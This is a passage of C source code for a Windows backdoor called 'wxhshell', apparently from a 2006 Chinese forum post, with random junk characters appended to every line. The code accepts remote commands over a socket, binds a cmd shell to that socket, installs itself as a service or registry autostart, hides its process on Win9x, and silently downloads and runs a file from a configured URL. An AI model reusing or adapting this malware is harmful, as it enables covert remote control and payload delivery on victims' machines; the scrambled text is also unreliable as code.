  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Engi!  
  } UDL RCS8i  
  else { k{<,\J  
/AQMFx4-5  
    switch(cmd[0]) { ScSZGs 5&  
  ru7RcYRq  
  // 帮助 Dxk+P!!K  
  case '?': { B)QHM+[= F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p3}?fej&|  
    break; po}F6m8bX  
  } 6AWKLFMV  
  // 安装 {N#KkYH{"  
  case 'i': { DSj(]U~r  
    if(Install()) UYz0PSV=.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8dlw-Q'S  
    else z-c}NdW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N72Yq)(  
    break; $\? yAE  
    } O%ug@& S{  
  // 卸载 W\L`5CW  
  case 'r': { M5trNSL&u  
    if(Uninstall()) Tdc3_<1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^7.h%lSg  
    else \fjMc }'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dqX;#H}h  
    break; bUY>st'  
    } `w.AQ?p@  
  // 显示 wxhshell 所在路径 {Ixg2=E\  
  case 'p': { X7g3  
    char svExeFile[MAX_PATH]; 8Mbeg ,P  
    strcpy(svExeFile,"\n\r"); ys#i@  
      strcat(svExeFile,ExeFile); E.iSWAJ(w  
        send(wsh,svExeFile,strlen(svExeFile),0); & V)6!,rb  
    break; ~QZ"Z tu  
    } 10#f`OPC  
  // 重启 U bYEEY#  
  case 'b': { g(| 6~}|o+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  PTS]7  
    if(Boot(REBOOT)) 8+Bu+|c%f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OK{xuX8u  
    else { ^`D=GF^tX  
    closesocket(wsh); w\19[U3  
    ExitThread(0); g5q$A9.Jl  
    } U-^[lWn[@4  
    break; tM#lFmdd\P  
    } E~kG2x{a  
  // 关机 _0 m\[t.  
  case 'd': { PG]%Bv57  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Gx 72  
    if(Boot(SHUTDOWN)) WW@d:R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (S^8UV  
    else { Ou>vX[{  
    closesocket(wsh); )}L??|#  
    ExitThread(0); BJS-Jy$-  
    } |~ _'V "  
    break; ^bLRVp1  
    } 8_!.!Kde |  
  // 获取shell \`w4|T  
  case 's': { u(!&:A9JFd  
    CmdShell(wsh); oW;6h.  
    closesocket(wsh); ]LZ`LL'#Y_  
    ExitThread(0); 99EXo+g  
    break; [0UGuj  
  } d HJhFw  
  // 退出 9*:gr#(5  
  case 'x': { (7DXRcr<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5ZY)nelc  
    CloseIt(wsh); -<#!DjV6(  
    break; hwqbi "o  
    } =KT7nl  
  // 离开 DS xUdEK6  
  case 'q': { .6~`Ubr}E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); **>/}.%?K  
    closesocket(wsh); /xJqJ_70X  
    WSACleanup();  LZ~"VV^  
    exit(1); vEG'HOP  
    break; fKtV '/X;Q  
        } )R sM!}  
  } Xe+,wW3YF  
  } s9oO%e<  
LG]3hz9^9  
  // 提示信息 &5t :H 8b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %5\3Aw  
} [= "r<W0  
  } %/.a]j!  
,pBh`av  
  return; T$= 4O9G  
} Q7bq  
BN,>&1I  
// shell模块句柄 lHB) b}7E  
int CmdShell(SOCKET sock) [ REf>_R  
{ C}5M;|%3)  
STARTUPINFO si; 2ij# H ;  
ZeroMemory(&si,sizeof(si)); w-$[>R[hw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1=2^90  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u z\0cX_  
PROCESS_INFORMATION ProcessInfo; q/1Or;iK  
char cmdline[]="cmd"; z}Jr^>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s4H2/EC  
  return 0; 4ujvD^  
} t_ur&.^SB  
A`6ra}U<  
// 自身启动模式 )$Z(|M4  
int StartFromService(void) P;]F=m+ *V  
{ [hRU&z;W  
typedef struct ~svO*o Wa  
{ Vc3mp;6"  
  DWORD ExitStatus; gX5&d\y  
  DWORD PebBaseAddress; z{]?h cY  
  DWORD AffinityMask; n +1y  
  DWORD BasePriority; Qju`e Eo  
  ULONG UniqueProcessId; #hw/^AaD-  
  ULONG InheritedFromUniqueProcessId; b.2J]6G  
}   PROCESS_BASIC_INFORMATION; DDd|T;8  
 StYzGJ  
PROCNTQSIP NtQueryInformationProcess; VK3it3FI>3  
o5aLU Wi-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B8I4[@m>w\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SNT5Amz!  
zX7q:Pt  
  HANDLE             hProcess; )$x_!=@1  
  PROCESS_BASIC_INFORMATION pbi; $(q>mg:H  
] q~<=   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GQ_Ia\  
  if(NULL == hInst ) return 0; SJgY  
o{-<L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;2giZ\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f*xpE`&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7 boJ*  
kVDe6},D7  
  if (!NtQueryInformationProcess) return 0; %|XE#hw  
Rn+4DcR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;9uRO*H?T  
  if(!hProcess) return 0; ~=y3Gd B3  
!#?kWAU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J0220 _  
z"F*\xa  
  CloseHandle(hProcess); =fyyqb 4  
K \Eo z]?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <Mf*l)%*  
if(hProcess==NULL) return 0; b*,3< 9  
ZYtiMBJ  
HMODULE hMod; DHfB@/q#  
char procName[255]; 7uI#L}y  
unsigned long cbNeeded; ~0-g%C?R  
?q91:H   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RHNk%9  
#%S0PL"x U  
  CloseHandle(hProcess); $;D* n'8Fx  
.gYt0raSY  
if(strstr(procName,"services")) return 1; // 以服务启动 '5H4z7)  
K3p@$3hQ  
  return 0; // 注册表启动 #2%([w  
} Lu>H`B7Q"  
Jfg7\&|  
// 主模块 o7xgRSz\  
int StartWxhshell(LPSTR lpCmdLine) PCfo  
{ :mv`\  
  SOCKET wsl; _dU P7H (  
BOOL val=TRUE; Nf?\AK!  
  int port=0;  ,-rB=|w  
  struct sockaddr_in door; ]HvZ$  
[6g O  
  if(wscfg.ws_autoins) Install(); h{]#ag5`  
b1!@v+  
port=atoi(lpCmdLine);  . gT4_  
F,v 7ifo#f  
if(port<=0) port=wscfg.ws_port; v:d9o.h  
vD=%`G[m  
  WSADATA data; MTmO>V&O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q a!RH]B3  
d bO#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2@MN]Low  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jgi Iq  
  door.sin_family = AF_INET; (@ ]tG?I=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H=. K  
  door.sin_port = htons(port); Hq xK\m%,.  
^g!B.ll`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vg^Myn   
closesocket(wsl); O{n<WQd{CY  
return 1; 5N1 K~".  
} =s[ &;B`s  
eoJ]4-WFq  
  if(listen(wsl,2) == INVALID_SOCKET) { cgyo_ k  
closesocket(wsl); 4 iH&:Al  
return 1; v.`+I-\.z)  
} .s};F/(diD  
  Wxhshell(wsl); dERc}oAh(  
  WSACleanup(); *bZ\@Qm  
F1}  
return 0; zrx JN  
*]{=8zc2  
} EUwQIA2c8N  
V.,bwPb{9  
// 以NT服务方式启动 K+mU_+KRp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R`Qp d3  
{ sx-F8:Qa  
DWORD   status = 0; c)3O/`  
  DWORD   specificError = 0xfffffff; ]_2 yiKv&  
t:9 ZCu ay  
  serviceStatus.dwServiceType     = SERVICE_WIN32; },6*Y*?{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J~dTVBx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fq Y1ggL  
  serviceStatus.dwWin32ExitCode     = 0; 3'@&c?F ye  
  serviceStatus.dwServiceSpecificExitCode = 0; $- w5o`e  
  serviceStatus.dwCheckPoint       = 0; eU~?p|Np  
  serviceStatus.dwWaitHint       = 0; ve%l({  
X>/K/M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 46dc.Yi  
  if (hServiceStatusHandle==0) return; dzxI QlP  
0P9Wy!f7  
status = GetLastError(); "/y|VTV"  
  if (status!=NO_ERROR) *8206[y  
{ 5bBCpNa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DR{] sG  
    serviceStatus.dwCheckPoint       = 0; 6S_y%8Fv&[  
    serviceStatus.dwWaitHint       = 0; 0UD"^zgY  
    serviceStatus.dwWin32ExitCode     = status; r|bPR!0  
    serviceStatus.dwServiceSpecificExitCode = specificError; )KE_t^$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M c@GH  
    return; Ma_=-cD  
  } bs:QG1*.  
2[BA( B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uRGB/ju^E  
  serviceStatus.dwCheckPoint       = 0; Ps7_-cH  
  serviceStatus.dwWaitHint       = 0; @Mr}6x*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5Jw"{V?Ak  
} R2Yl)2 D  
ni0LQuBp  
// 处理NT服务事件,比如:启动、停止 Y^5"qd|`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j]HE>  
{ uTw|Q{f  
switch(fdwControl) {jhcZ"#>\  
{ &oc_ a1 R  
case SERVICE_CONTROL_STOP: 2+&R" #I  
  serviceStatus.dwWin32ExitCode = 0; r./z,4A`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1g81S_T .  
  serviceStatus.dwCheckPoint   = 0; gA"<MI'y  
  serviceStatus.dwWaitHint     = 0; +{Gw9h"5g*  
  { N&N 82OG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <O bHf`Q  
  } M1gP R  
  return; 9C>ynH  
case SERVICE_CONTROL_PAUSE: qSR? ,G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V7n >,k5  
  break; ^#7viZ*  
case SERVICE_CONTROL_CONTINUE: @?vLAsp\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xBt<Yt"  
  break; %Il;B~t  
case SERVICE_CONTROL_INTERROGATE: cUNGo%Y  
  break; *G9 [j$  
}; F_ _H(}d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mf~Lzp  
} X,&xhSzg?  
{\luieG  
// 标准应用程序主函数 Y 0]Kl^\A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4UazD_`'  
{ ny~W]1  
T7ki/hjRb  
// 获取操作系统版本 #a.\P.{L  
OsIsNt=GetOsVer(); Kf&r21h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S8vx[<  
F[(6*/46x  
  // 从命令行安装 BM.-X7)  
  if(strpbrk(lpCmdLine,"iI")) Install(); :;<\5Oy ^  
1=ip ,D  
  // 下载执行文件 sD.6"w7}  
if(wscfg.ws_downexe) { ?{n>EvLY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b_ypsGE]5!  
  WinExec(wscfg.ws_filenam,SW_HIDE); "u,sRbL  
} tw]/,>\G  
{QW-g  
if(!OsIsNt) { oq243\?Y  
// 如果时win9x,隐藏进程并且设置为注册表启动  .?70=8{  
HideProc(); g"w)@*?K  
StartWxhshell(lpCmdLine); N]V/83_  
} >|5XaaDa  
else xdCs5ko  
  if(StartFromService()) 5UPPk$8 `  
  // 以服务方式启动 (UXv,_"nU  
  StartServiceCtrlDispatcher(DispatchTable); z?I+u* rF6  
else Mo~ki"9.  
  // 普通方式启动 v^;-@ddr  
  StartWxhshell(lpCmdLine); 7<fL[2-  
mQFa/7FX  
return 0; $e>/?Ss  
}
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只看该作者 1 发表于: 2006-10-10
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